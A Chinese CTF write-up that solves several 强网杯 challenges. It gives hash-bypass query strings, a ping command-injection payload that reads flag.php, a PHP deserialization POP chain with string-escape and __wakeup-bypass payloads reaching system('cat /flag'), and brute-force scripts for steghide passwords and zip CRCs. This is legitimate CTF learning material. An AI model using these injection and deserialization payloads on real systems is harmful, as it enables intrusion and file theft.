前言

代码烂,游戏菜,天天等着大佬带。这次做出来三道题,无缘线下赛了,看来以后要找个大腿抱着才行(开始胡扯ing)

强网先锋

Funhash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();


?>

先绕过第一关,需要找到一个特殊字符串,这个特殊的字符串需要满足的条件是经过md4加密后还与它本身相等。这个原本想的是爆破来着,但是太慢了,解题情况又是几十个队伍都解出来了,所以果断放弃爆破的方式。Google一下。(重要设置,设置Google语言为hancker)然后发现了一个大佬的博客中有类似的知识点。
https://crdx.org/post/hsctf-2019-md5-minus-minus
找到了 这个特殊的字符串0e251288019
提交可以绕过第一关,剩下两个也好绕过了,第二个就是很简单的一个md5绕过,使用数组,第三个是md5的一个特殊情况的字符,刚好比赛前做了一道这样的题,具体参考我的博客https://blog.csdn.net/qq_45836474/article/details/107940521#t5
总结:构造payload

1
?hash1=0e251288019&hash2[]=2&hash3[]=3&hash4=ffifdyop

m0re

主动

考点:命令执行

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
die("no flag");
}

system("ping -c 3 $_GET[ip]");

?>

get方式提交IP参数,但是参数中不能有flag存在,是匹配的flag字符串,所以是黑名单绕过flag就行。
payload?ip=127.0.0.1|ls看到两个文件分别是flag.php和index.php
m0re

经过测试发现空格也被过滤,使用%20来绕过空格。
构造payload

1
?ip=127.0.0.1|cat%20fl""ag.php

执行命令查看源码,flag在源码中。
m0re

upload

题目附件是数据包,wireshark打开,看到有http请求,先导出http对象看到了两个文件,一个html文件还有个php文件。
m0re
html的内容是

1
2
3
4
5
6
7
8
9
10
11
12
<html>  
<meta charset="utf-8">
<body>
<form action="steghide.php" method="post"
enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="提交" />
<!--i use steghide with a good password-->
</form>
</body>
</html>

注释一个好密码。
图片没有导出来,原本尝试直接复制出来16进制出来直接新建图片,结果失败了。这次学到一个新的方式,
m0re
可以导出一个jpg图片,
m0re
然后使用steghide继续解题。没有提示密码的,思路是:上面的注释可以找一下,或者文件名,再然后就是弱口令。
这个是个弱口令,123456
m0re
不过这个方法不是很稳,不能每次都猜中,所以github上有个工具是暴力破解的。
m0re
一个sh脚本

1
2
3
4
5
6
7
8
9
#!/bin/bash

for line in `cat $2`;do
steghide extract -sf $1 -p $line > /dev/null 2>&1
if [[ $? -eq 0 ]];then
echo 'password is: '$line
exit
fi
done

tip:如果是自己创建的文件写入脚本,记得提升脚本权限为可执行。
还有其他脚本,不过我感觉这个看起来少hh

web辅助

这题是构造pop链,没做过这类题目,所以看的时候有些吃力,这次以后多找几个这类的题目做做总结一下。参考博客——DASCTF6月赛总结—phpnus
题目附件中源码给出点击打包
class.php中可以三个类中涉及的陌生函数先查一查,

  1. __construct() 函数创建一个新的 SimpleXMLElement 对象。
  2. gettype() 函数用于获取变量的类型。
  3. __destruct()  ——对象的所有引用都被删除或者当对象被显式销毁时执行(其实就是析构函数),有几个更有趣的说法,钟馗的被动,被击杀后的那一下。也可以说是写遗嘱。挺有意思,还是网友的脑洞比较大。
  4. __wakeup(),先说一下sleep函数,在序列化时,serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,则该方法会优先被调用,然后才执行序列化操作。当然__wakeup()就是与之相反的反序列化时,unserialize()函数同样会检测__wakeup()函数的存在,然后先执行__wakeup()函数的内容。在进行反序列化。
  5. __invoke(),调用函数的方式调用一个对象时的回应方法

还有构造pop链的时候一下需要注意的点。

private变量序列化后需要在变量名的左右手动添加不可见字符%00
protected变量序列化后需要在变量前的星号*左右手动添加不可见字符,使
其成为%00*%00

下面就开始进行解题了。
class.php中的三个类需要cat flag,就需要从输入开始进行嵌套
m0re
先看这个,下面的__toString()函数被调用了,cat flag的命令才可以执行。所以需要先调用jungle类中的魔术方法函数。
继续看上面的,
m0re
在topsolo类中,实例化一个对象,然后调用它,把它当作函数来调用,最后进行析构。
并且这个在下面的类中就可以进行new一个对象来调用,就可以触发midsolo中的魔术方法——invoke函数
m0re
最后在jungle类中new一个对象,触发toString函数,并牵连至cat flag的作用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class topsolo{
protected $name="Riven";

public function __construct(){
$this->name = new midsolo();
}
}

class midsolo{
protected $name;

public function __construct(){
$this->name = new jungle();
}
}

class jungle{
protected $name = "Lee Sin";
public function __toString(){
system("cat /flag");
return "";
}
}
$lol=new topsolo();
print_r(serialize($lol));
?>

构造出来的pop链

1
O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}

同样的,在index.php中,对player这个类进行了序列化,并write进文件中
m0re
对player进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class player{
protected $user;
protected $pass;
protected $admin;

public function __construct($user, $pass, $admin = 1){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}

public function get_admin(){
return $this->admin;
}
}
$lol=new player();
print_r(serialize($lol));
?>

结果为:

1
O:6:"player":3:{s:7:"%00*%00user";N;s:7:"%00*%00pass";N;s:8:"%00*%00admin";i:1;}

然后看到player.php看到读取操作,将读取到文件中的内容进行反序列化
m0re
还有过滤,涉及反序列化字符串逃逸,
m0re
写入的\0*\0,过滤后变成了chr(0)*chr(0)三个字符,其中吞掉两个字符。所以是字符串逃逸。
在源码中看到只有player这个类进行了反序列化,所以pop链需要变化一下。
m0re
但是前面还有,
m0re
23个字符会吞掉,替换11.5次,这里加一个字符,在password中加一个字符给它过滤掉,这样就可以过滤24个字符,替换12次。
m0re
所以payload为

1
2
username=m0re%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00
&password=1";s:7:"%00*%00pass";O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo ":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}};s:8:"%00*%00admin";i:1;}

m0re
还有一个过滤条件就是name,
m0re
过滤使用方法:将小写s换成大写S,name转换成十六进制\6e\61\6d\65,就可以被解析了
还有,进行反序列化的时候,需要跳过这个魔术方法,
m0re
绕过方法:,刚开始看学长wp没看懂为什么要输入一个2来替换1进行绕过wakeup魔术方法,百度了一下。发现这是一个CVE漏洞
绕过就是:当成员属性数目大于实际数目时可绕过
这个就是为什么要输入一个2来替换1的原因了,也可以输入其他数字。
最终payload

1
?username=m0re\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=1";S:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{S:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}};s:8:"%00*%00admin";i:1;}

访问play.php就可以看到flag了。
m0re

运行得到 flag
最后感谢qwzf大佬提供的环境。tql
参考文章——第四届“强网杯”全国网络安全挑战赛WP

miscstudy

套娃题,
第一关
m0re
选择查看请求可以找到http://39.99.247.28/fonts/1
m0re
一部分flag
第二关
复制除了flag以外的全部内容。放到以.log为后缀的日志文件。这个是wireshark的日志文件,重新导入wireshark。
tip:版本不同,导入位置不同。
有的是SSL,有的是TLS
导入位置:编辑——首选项——Protocols——SSL(或者TLS)
m0re
然后看到
m0re
get方式,所以直接访问该URL得到图片,另存到本地。
https://www.qiangwangbei.com/images/4e5d47b2db53654959295bba216858932.png
图片拖进010editor,在末尾查看到一串base64字符串
m0re
解密得到部分flag
第三关
在图片的倒数第二第三第四个IDAT的地方

m0re
进行base64解码,得到二进制数
m0re
利用python的PIL模块进行绘图(之前团队内比赛有画图的题有过涉及这个模块)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from PIL import Image

x = 60 #x坐标
y = 60 #y坐标

im = Image.new("RGB", (x, y))
file = open('m0re.txt','r')

a=file.read()
z=0
for i in range(0, x):
for j in range(0, y):
print(a[z])
if(a[z]=='1'):
im.putpixel((i, j), (0, 0, 0))
elif(a[z]=='0'):
im.putpixel((i, j), (255, 255, 255))
z=z+1

im.show()
im.save('1.png')

注意:PIL模块只适合python2的版本,python3中可以使用pillow代替.
安装pillow模块

1
pip install pillow

成功得到二维码
m0re
注意顺序,不然还原不出正确的码子。由上至下。
扫描得到百度网盘链接。
m0re
第四关
网盘链接中的一个压缩包,里面有张图片。
m0re
这里使用,steghide进行爆破,我丢我找半天这个工具,原来我电脑里的工具包里有,我吐了。
m0re
其实和脚本都一样的原理,,,=.=
就是字典的重要性了。换个大点的字典
m0re
密码:power123
然后使用stegdetect进行测试,测试是哪种隐写
使用方法

1
stegdetect.exe -tjopi -s 10.0 <filename.jpg>

m0re
三颗星,而且是jphide隐写。上面爆破出密码,使用工具解题
m0re
使用Seek模块,输入密码,然后设置导出的文件类型。这里设置为flag.txt就可以了。
m0re
第五关
下载的level5有伪加密,其他的先不管,先改第一个。就可以将level5.png拖出来了,发现flag。m0re
第六关
CRC爆破,因为第六关压缩包里面的三个文件很小,只有几个字节
所以直接用脚本进行爆破
m0re
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#coding:utf-8
import binascii
import string

#dic=string.printable #各种打印字符
dic='abcdefghijklmnopqrstuvwxyz0123456789_'
crc1 = 0x9aeacc13 # 记得要以0x开头
crc2 = 0xeed7e184
crc3 = 0x289585af
def CrackCrc5(crc):
for i in dic :
for j in dic:
for p in dic:
for q in dic:
for h in dic:
s=i+j+p+q+h
if crc == (binascii.crc32(s.encode("ascii"))):
print(s)
return 1
def CrackCrc4(crc):
for i in dic :
for j in dic:
for p in dic:
for q in dic:
s=i+j+p+q
if crc == (binascii.crc32(s.encode("ascii"))):
print(s)
return 1
CrackCrc5(crc1)
CrackCrc4(crc2)
CrackCrc5(crc3)

时间略长,耐心跑完。
第七关
m0re
将这个图片进行压缩,注意是压缩成zip压缩包。压缩方式很重要。
然后进行明文攻击。使用工具进行攻击
m0re
原来不用一直等,噗!我等了十三分钟。。。吐啦
注意手动暂停攻击,然后确定保存就行了。
已经成功解密了。
两张一样的图片,考虑盲水印。
m0re
成功得到m0re
得到一部分flag,然后还有一个URL
第八关
访问提示的URL
m0re
看不出来什么,(做题少,没见过),看大佬wp是snow隐写。长知识了。
m0re
snow隐写需要密码,这个就是密码。
在线网站解密
m0re
得到最后一部分flag

总结

知识了解:

snow 是一款在html嵌入隐写信息的软件,它的原理是通过在文本文件的末尾嵌入空格和制表位的方式嵌入隐藏信息,不同空格与制表位的组合代表不同的嵌入信息。

这次学到好多内容,不过还是做题越多越好。多刷题。争取下次有比赛能进一次线下。继续加油。